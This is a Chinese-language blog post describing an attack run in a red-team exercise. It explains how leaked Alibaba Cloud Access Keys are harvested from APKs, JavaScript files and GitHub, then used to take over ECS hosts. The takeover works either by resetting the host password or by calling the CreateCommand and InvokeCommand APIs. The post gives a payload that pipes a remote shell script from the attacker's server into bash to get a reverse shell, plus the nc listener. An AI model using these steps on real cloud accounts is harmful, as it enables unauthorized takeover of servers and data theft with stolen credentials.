最近在HW中有攻击队使用Access Key拿下阿里云ECS服务器的案例,来总结一下利用的过程。

为什么要上云

首先要说说为什么许多企业开始选择将服务部署在云上。90年代初期甚至中期的时候,企业自己养开发人员,IT部门自己开发、自己实施、自己培训、自己运维、自己客服支持,甚至布网线、修打印机万金油。后来企业软件需要的技术越来越复杂,功能越来越复杂,企业就养不起那么多专业的开发人员了,就开始购买外部的商业软件公司的软件产品和实施支持服务了。(抄自知乎)

对于中小企业来说,服务器落地在本地意味着更高的成本、更高的风险,将网络环境直接部署到云环境中可以极大的降低此类成本
大型企业拥有专业的生产、安全等团队,上云的需求主要由本身的业务带动,并没有那么急迫。

云的概念

云服务本身分为三种,Laas\PaaS\SaaS
IaaS: Infrastructure-as-a-Service(基础设施即服务)
PaaS: Platform-as-a-Service(平台即服务)
SaaS: Software-as-a-Service(软件即服务)

1.png

具体就不展开了,网上有很多详细的解释,不是本篇的重点略过了

公有云、私有云、混合云

公有云
阿里云就属于公有云,依托阿里进行日常维护,高可靠性、低维护成本、扩展性强。

私有云
私有云指的是厂商分给专供某家企业独家使用的云服务,可以自定义硬件规格。使用私有云的通常为政企、金融等大型单位。它会比公有云更加安全;扩展性、定制化程度更高。

混合云
混合云就是公有云和私有云的混合,对外系统可以分布在公有云上对公网开发,而内部的数据库等敏感系统放在私有云上只有自己可以访问。

通过Access Key拿阿里云具体流程

通过各种途径去收集一波Access Key,比较常见的方法:

APK文件中存放Access Key Web页面/JS文件等 Github查找目标关键字发现Access Key与AccessKey Secret 拥有WebShell低权限的情况下搜集阿里云Access Key利用

github还是比较多的,可以改动一下关键字进行搜索

2.png

找到后如果可以确认为阿里云主机则可以继续开始后续步骤

3.png

(来自 https://www.moonsec.com/archives/1098

拿到AK后使用阿里官方的管理工具:行云管家可以通过导入AK获得一个云主机实例

导入云主机实例

登陆行云管家:https://yun.cloudbility.com/
在创建团队后导入一个公有云主机

4.png

填入Access Key、AccessKey Secret就可以完成导入
那么进来之后来到基础运维,可以直接重置云主机的密码,实现接管

5.png

当然作为正义的安服仔我们是不会干出这种事情的(走投无路也不是不行),这时候就需要提到阿里云的一个接口:OpenAPI Explorer.通过该接口可以直接操作让云主机执行命令

大佬整理的感觉会是比较常用的命令:

6.png

操作接口

接口中我们主要会用到两个函数:CreateCommand和InvokeCommand,可以直接搜索使用

7.png

第一个函数的作用是生成一条指令,第二个函数则是调用这个命令。
简略的展示一下调用过程:CreateCommand.py->生成Commandid->使用Commandid生成InvokeCommand.py->执行InvokeCommand.py实现RCE

选择CreateCommand,RegionId选择主机所在地区(可以在行云管家中看到),Name可以随便填,Type指的是执行那类命令,windows主机可以使用powershell和bat、linux主机可以使用sh脚本。这里不理解的地方可以点击右上角的小问号查看帮助。

8.png

然后CommandContent填的就是需要执行的命令的Base64

我们愉快的填入bash反弹shell的脚本,然后就可以点击右边的python选项,然后点击“调试”按钮

9.png

然后在下方会弹出一个Cloud shell,并自动安装所欲要的类库

10.png

通过vim ./CreateCommand.py修改脚本中的Access Key与AccessKey Secret参数,需要注意的是这里要删掉本来存在的中括号等字符

11.png

(这么黑我也没办法)

修改完后保存退出,执行python CreateCommand.py,获得Commandid

12.png

在创建完命令后,需要去调用这条命令。选择InvokeCommand,填入RegionId,CommandId(就是刚刚执行完获得的),InstanceId(云主机实例id:在行云管家中可以看到)

13.png

14.png

填完后还是在右边选择python,并且选择“调试”,见上图。此时Cloud shell会创建一个InvokeCommand.py。同样的先通过vim命令修改Access Key与AccessKey Secret,然后执行python InvokeCommand.py,命令也就成功在云主机上执行了
然后!就出现了坑爹的情况,bash反弹被拦了。

15.png

那么这个时候我们就要重新调用CreateCommand、InvokeCommand去尝试哪些命令可以过,这里放最后成功反弹的payload:curl "http://xxxx:8080/bash_shell.sh" | bash。bash_shell.sh里放的还是之前的bash反弹shell的命令

那么在我们自己的vps上用python起一个8080端口的http服务,然后放个反弹bash的sh在上面,然后nc开启监听,使用上面的payload再CreateCommand->InvokeCommand来一次,成功收到反弹回来的shell

16.png

http:

17.png

nc:

18.png

后话:

到这里通过AK拿下阿里云主机就复现完了,也是有遇到几个坑但是总的来说利用过程还是比较方便的。如果可以拿到阿里云主机的Access Key的话,利用该接口去getshell或许也是个不错的选择
此次试验中只复现了linux主机的利用过程,windows的话只是利用的命令会改变,其他流程都是相同的
另外这种攻击手段并不仅限于阿里云主机,还有比如Amazon的AWS主机也存在相似的利用手法,但是Amazon获取到的AccessKey权限并没有像阿里云那么大,阿里可以直接获取OSS和ECS主机信息,而Amazon通过IAM创建用户和组来限制AccessKey的权限。

参考文章:云渗透思路从报错信息泄露到使用ECS接口执行命令反弹shell

标签: Access Key拿下阿里云主机

添加新评论